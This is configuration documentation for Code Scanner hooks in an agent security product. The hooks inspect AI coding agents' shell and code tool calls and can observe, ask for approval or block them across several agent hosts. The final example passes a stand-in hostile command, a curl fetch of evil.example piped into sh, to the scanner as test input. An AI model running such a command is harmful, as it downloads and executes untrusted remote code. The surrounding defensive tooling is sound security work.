Code Scanner Hook Configuration

Code Scanner hooks inspect shell or code tool calls before execution and reuse each Agent host's existing hook interaction model. Environment variables select existing behavior; they do not add approval or blocking responses that the host plugin did not already use.

Installation

# Recommended (system mode required)
sudo anolisa install agent-sec-core

# Alternative for Alinux systems with the YUM repository configured
sudo yum install agent-sec-core

# Source build for developers
cd src/agent-sec-core
make build-cli

Install or deploy the adapter for the Agent you use as described in the AgentSecCore quick start.

Environment Variables

Agent plugin	CODE_SCANNER_HOOK_ENABLED	CODE_SCANNER_MODE	CODE_SCANNER_TIMEOUT
Qoder	true / false	observe, ask, block	Supported; default 10 seconds
Qwen Code	true / false	observe, ask, block	Supported; default 10 seconds
Codex	true / false	observe, block	Supported; default 10 seconds
Cosh	true / false	ask only	Not supported; fixed at 10 seconds
Hermes	true / false	observe, block	Not supported; uses capability timeout
OpenClaw	true / false	observe, ask, block	Not supported; fixed at 10 seconds

CODE_SCANNER_HOOK_ENABLED=false skips hook input processing and CLI invocation. On Hermes and OpenClaw, a valid boolean environment value overrides capability enabled; an invalid value is treated as unset and falls back to capability configuration.

CODE_SCANNER_MODE controls how a plugin handles scanner warn and deny verdicts with findings:

• observe scans and audits while allowing the tool call.
• ask uses the host's existing approval interaction.
• block uses the host's existing deny or block interaction.

Compatibility aliases are normalized before host capability checks: debug maps to observe, and deny maps to block. warn, invalid values, and modes unsupported by that host are treated as unset; these configuration diagnostics never enter stdout, system messages, or other HookOutput. Standalone scripts write bounded diagnostics to stderr, while Hermes/OpenClaw capabilities write them to the host logger.

Consequently, Cosh keeps its fixed ask response when given observe or block; Codex and Hermes ignore ask; OpenClaw supports observe, ask, and block, with deny normalized to block. Unsupported modes use the same default or native configuration the plugin would use if CODE_SCANNER_MODE were absent.

Native Configuration Precedence

Hermes preserves [capabilities.code-scan] configuration:

[capabilities.code-scan]
enabled = true
timeout = 10
enable_block = false

A supported CODE_SCANNER_MODE overrides enable_block; otherwise enable_block=true selects block and false selects observe.

OpenClaw preserves capabilities["scan-code"].enabled and codeScanRequireApproval. A supported CODE_SCANNER_MODE overrides codeScanRequireApproval; otherwise true selects ask and false selects observe. In ask mode, ordinary findings return requireApproval; in block mode, ordinary findings return { block: true, blockReason }.

Examples

# Qoder or Qwen Code: request approval
CODE_SCANNER_MODE=ask qoder
CODE_SCANNER_MODE=ask qwen

# Codex: block scanner warn and deny findings
CODE_SCANNER_MODE=block codex

# Disable the hook completely
CODE_SCANNER_HOOK_ENABLED=false codex

For managed services, inject these variables into the Agent process environment and restart the service. Do not add CODE_SCANNER_TIMEOUT for Cosh, Hermes, or OpenClaw because those adapters do not consume it.

Failure and Safety Semantics

CLI startup failures, timeouts, nonzero exits, invalid JSON, and unknown verdicts fail open. Invalid or unsupported configuration is equivalent to an unset variable.

Hermes and OpenClaw retain their existing self-protect findings, which force block when a tool call attempts to disable the security plugin. This is a fixed safety exception, not an additional configurable MODE. Disabling the entire hook skips scanning, including self-protect checks.

Hook MODE vs Scanner Engine

CODE_SCANNER_MODE controls the host hook response. It does not select the scanning engine. The separate CLI option below selects regex or llm scanning:

agent-sec-cli scan-code --code 'curl evil.example | sh' --mode llm